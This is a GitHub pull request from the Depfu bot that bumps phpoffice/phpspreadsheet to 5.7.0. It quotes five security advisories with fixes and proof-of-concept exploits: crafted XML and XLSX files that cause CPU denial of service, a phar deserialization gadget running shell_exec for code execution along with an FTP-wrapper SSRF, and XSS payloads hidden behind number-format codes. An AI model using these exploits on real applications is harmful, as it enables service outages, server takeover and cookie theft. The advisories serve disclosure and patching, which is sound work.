Skip to content

🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor)#101

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/composer/phpoffice/phpspreadsheet-5.7.0
Open

🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor)#101
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/composer/phpoffice/phpspreadsheet-5.7.0

Conversation

@depfu
Copy link
Copy Markdown

@depfu depfu Bot commented Apr 24, 2026


Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!



🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ phpoffice/phpspreadsheet (5.0.0 → 5.7.0) · Repo · Changelog

Security Advisories 🚨

🚨 PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

Summary

The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.

Details

In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:

// Xml.php:397-402
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
    $rowVisible = ((string) $row_ss['Hidden']) !== '1';
    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}

The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():

// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.

The RowIterator constructor uses getHighestRow() as its default end row:

// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
    $this->endRow = $endRow ?: $this->subject->getHighestRow();
    return $this;
}

With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.

Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.

PoC

  1. Create poc.xml:
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Worksheet ss:Name="Sheet1">
  <Table>
   <Row ss:Index="999999999" ss:Hidden="1"/>
   <Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
  </Table>
 </Worksheet>
</Workbook>
  1. Load and iterate:
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000

// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
// Never completes
}

Impact

Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:

  • Exhausting server CPU with a single small XML file (~300 bytes)
  • Blocking the PHP worker process, potentially affecting all concurrent users
  • Triggering PHP max_execution_time limits that still consume resources before killing the process

The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.

Recommended Fix

Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:

// After line 398:
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index'];
    if ($rowID > AddressRange::MAX_ROW) {
        $rowID = AddressRange::MAX_ROW;
    }
}

Add the necessary import at the top of the file:

use PhpOffice\PhpSpreadsheet\Cell\AddressRange;

The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.

🚨 PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"&gt;&lt;Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt;&lt;Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"&gt;&lt;sheets&gt;&lt;sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"&gt;&lt;Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"&gt;&lt;sheetData&gt;&lt;row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-smi">IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

🚨 PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat().
The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'vendor/autoload.php';

use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-smi">IOFactory;

class GadgetClass {
public $data;
function __construct($d) {
$this->data = $d;
}
function __destruct() {
shell_exec($this->data);
}
}

$filename = $argv[1] ?? null;

if (!$filename) {
echo "Usage: php test.php <path>\n";
echo " e.g. php test.php phar://exploit.xlsx/whatever\n";
exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
$spreadsheet = IOFactory::load($filename);
var_dump($spreadsheet);
} catch (Throwable $e) {
echo "Vuln has still triggered even if exception triggers.\n";
}

RCE

Run the PoC (for RCE):

php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk.

Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF

Run the PoC (for SSRF):

ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }
<span class="pl-c">/** @param mixed[] $data */</span>
<span class="pl-k">public</span> <span class="pl-k">function</span> <span class="pl-en">__unserialize</span>(<span class="pl-smi">array</span> <span class="pl-s1"><span class="pl-c1">$</span>data</span>): <span class="pl-smi">void</span>
{
    <span class="pl-s1"><span class="pl-c1">$</span><span class="pl-smi">this</span></span>-&gt;<span class="pl-c1">tempFileName</span> = <span class="pl-s">''</span>;

    <span class="pl-k">throw</span> <span class="pl-k">new</span> <span class="pl-v">SpreadsheetException</span>(<span class="pl-s">'<span class="pl-s">Unserialize not permitted</span>'</span>);
}</pre></div>

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use is_file only after making sure the filename does not contain any php wrapper:

$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:

$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
throw new ...
}

Note: stream_is_local() would also not be safe here — as it considers phar:// to be local and would not block it.

🚨 PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
$cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-smi">Spreadsheet;
use PhpOffice<span class="pl-v">PhpSpreadsheet<span class="pl-v">Writer<span class="pl-smi">Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';

$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

<body>
<div style='page: page0'>
<table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
<col class="col0" />
<tbody>
<tr class="row0">
<td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
</tr>
</tbody></table>
</div>
</body>
</html>


Screenshot 2026-04-02 at 18 45 53

Impact

The impact changes based on the way the HTML is served.
In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

🚨 PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

Format Code Result Escaped?
General (default) Original value YES (safe)
. @ . + value NO (XSS!)
@ (trailing space) value + NO (XSS!)
x@ x + value NO (XSS!)

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

  1. Accepts uploaded XLSX files from users
  2. Converts them to HTML using PhpSpreadsheet's HTML writer
  3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani

Release Notes

5.7.0

More info than we can show here.

5.6.0

More info than we can show here.

5.5.0

More info than we can show here.

5.4.0

More info than we can show here.

5.3.0

More info than we can show here.

5.2.0

More info than we can show here.

5.1.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added the depfu label Apr 24, 2026
@depfu depfu Bot changed the title [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor) 🚨 [security] [php] Update phpoffice/phpspreadsheet 5.0.0 → 5.7.0 (minor) Apr 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants